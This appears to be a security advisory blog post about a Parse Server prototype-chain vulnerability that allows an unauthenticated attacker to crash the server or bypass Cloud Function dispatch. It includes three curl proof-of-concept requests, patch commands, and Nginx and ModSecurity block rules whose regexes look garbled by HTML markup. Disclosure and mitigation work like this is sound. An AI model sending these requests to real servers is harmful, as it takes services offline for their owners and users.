Listen to this Post
An unauthenticated attacker can crash the Parse Server process or bypass Cloud Function dispatch by exploiting how the server resolves prototype chain properties. The vulnerability lies in the internal handler registries for Cloud Functions, Jobs, Triggers, and Validators. When a request is made to a Cloud Function endpoint using a JavaScript prototype property name (like __proto__, constructor, or toString) as the function name, the server attempts to resolve this name through the prototype chain. This triggers an infinite recursion loop because these special properties exist on the base Object.prototype. The recursive resolution causes a call stack overflow, leading to a fatal exception that terminates the Parse Server process entirely, resulting in a Denial of Service (DoS) [citation:original]. Additionally, other prototype property names can bypass the validation logic for Cloud Functions, causing the server to return HTTP 200 success responses even when no such function is defined, effectively bypassing dispatch controls. The same bypass occurs with dot-notation traversal, where the server incorrectly resolves nested prototype paths. All Parse Server deployments exposing Cloud Function endpoints are vulnerable if running affected versions. The fix modifies the internal handler registries to prevent resolution of prototype chain properties, blocking both the infinite recursion and dispatch bypass [citation:original]. This issue was discovered and patched in early March 2026, with updates released for both the 8.x and 9.x branches [citation:original].
dailycve form:
Platform: Parse Server [citation:original]
Version: <8.6.13, <9.5.1-alpha.2 [citation:original]
Vulnerability: Prototype Chain Resolution [citation:original]
Severity: High [citation:original]
Date: March 10, 2026 [citation:original]
Prediction: Patched versions already released
What Undercode Say:
Analytics:
The vulnerability affects all Parse Server deployments that expose Cloud Function endpoints [citation:original]. It allows unauthenticated attackers to crash the server process, causing complete service interruption. The attack requires no privileges and can be executed remotely over the network . By sending specially crafted requests with prototype property names as function names, attackers can trigger infinite recursion leading to call stack overflow and process termination [citation:original]. The same technique allows attackers to receive HTTP 200 responses for undefined functions, bypassing normal validation flows [citation:original].
Exploit:
Example of malicious request causing DoS
curl -X POST \
https://your-parse-server.com/functions/__proto__ \
-H "X-Parse-Application-Id: YOUR_APP_ID" \
-H "Content-Type: application/json" \
-d '{}'
Example of prototype property bypass
curl -X POST \
https://your-parse-server.com/functions/constructor \
-H "X-Parse-Application-Id: YOUR_APP_ID" \
-H "Content-Type: application/json" \
-d '{}'
Dot-notation traversal bypass example
curl -X POST \
https://your-parse-server.com/functions/__proto__.toString \
-H "X-Parse-Application-Id: YOUR_APP_ID" \
-H "Content-Type: application/json" \
-d '{}'
The server will either crash (stack overflow) or return HTTP 200
even though no function exists with these names
Protection from this CVE:
Update Parse Server to patched versions npm install [email protected] or for 9.x users npm install [email protected] If using Docker docker pull parseplatform/parse-server:8.6.13 docker run -d --name parse-server -p 1337:1337 parseplatform/parse-server:8.6.13 Alternative workaround - block prototype property names via reverse proxy Nginx example configuration location /functions { if ($request_uri ~ "(<strong>proto</strong>|constructor|prototype|toString)") { return 403; } proxy_pass http://parse-server-backend; } WAF rule example (ModSecurity) SecRule REQUEST_URI "@rx (<strong>proto</strong>|constructor|prototype|toString)" \ "id:1001,phase:1,deny,status:403,msg:'Prototype Pollution Attempt'"
Impact:
- Denial of Service: Unauthenticated remote attackers can crash the Parse Server process by triggering infinite recursion through prototype property names [citation:original]
- Dispatch Bypass: Attackers can receive HTTP 200 responses for undefined Cloud Functions, bypassing normal validation logic and potentially misleading monitoring systems [citation:original]
- Process Termination: The infinite recursion causes call stack overflow, leading to Node.js process termination and complete service unavailability [citation:original]
- No Authentication Required: The attack requires no privileges, making it easily exploitable by any remote attacker
- Permanent Fix Requires Upgrade: Only upgrading to patched versions (8.6.13 or 9.5.1-alpha.2) fully resolves the issue by modifying internal handler registries to block prototype chain resolution [citation:original]
- Workarounds Available: Reverse proxies or WAFs can filter prototype property names, but patching is recommended [citation:original]
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
